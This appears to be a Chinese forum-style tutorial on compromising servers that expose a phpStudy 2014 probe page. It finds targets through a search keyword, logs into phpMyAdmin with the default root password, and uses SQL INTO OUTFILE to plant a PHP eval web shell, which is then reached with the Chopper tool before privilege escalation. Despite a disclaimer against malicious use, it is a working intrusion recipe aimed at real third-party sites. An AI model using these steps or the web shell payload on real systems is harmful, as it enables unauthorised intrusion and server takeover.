宣告:

本教程僅僅是演示管理員安全意識不強,存在弱口令情況.網站被非法入侵的演示,請勿用於惡意用途!

• 今天看到論壇有人釋出了一個通過這phpStudy 探針 關鍵字搜尋檢索提權網址伺服器，這個挺簡單的.記錄一下吧。

• 搜尋引擎KeyWord：

phpStudy 探針 2014

• 多往後翻翻。翻個幾十頁最好。

• 點開搜尋到的內容。

點開搜尋到的內容。

翻到最下面，嘗試連線mysql資料庫是否正常(賬號密碼預設為：root)：

2、 然後回車即可。

3、 出現以下介面；預設賬號密碼嘗試登陸;

4、 登陸成功後，第一步找到左邊導航欄的MYSQL，然後點選上面的SQL，如圖

5、 (點選mysql後，右側表單會增加很多內容，不要理會他，直接點表單上方的SQL按鈕即可。)

6、 下面往SQL寫入一句話木馬，然後用菜刀連線即可！

1、 圖片效果不好,貼出程式碼,自行對比一下子- -
2、 Code:

mysq1
sql 語句
Drop TABLE IF EXISTS 菜刀連線密碼;
Create TABLE 自定義一個表名(cmd text NOT NULL);
Insert INTO 自定義一個表名 (cmd) VALUES('<?php @eval($_POST[菜刀連線密碼])?>');
Select
 
 cmd from 自己編寫 into outfile 'D:/WWW/菜刀連線地址.php';['左邊絕對地址需要根據網頁自行更改']
Drop TABLE IF EXISTS 使用者和密碼;

7、 新增完成後，使用菜刀連線；

後面tmp.php是在寫入SQL一句話木馬那自定義設定的。

成功連上！可自行提權伺服器等操作!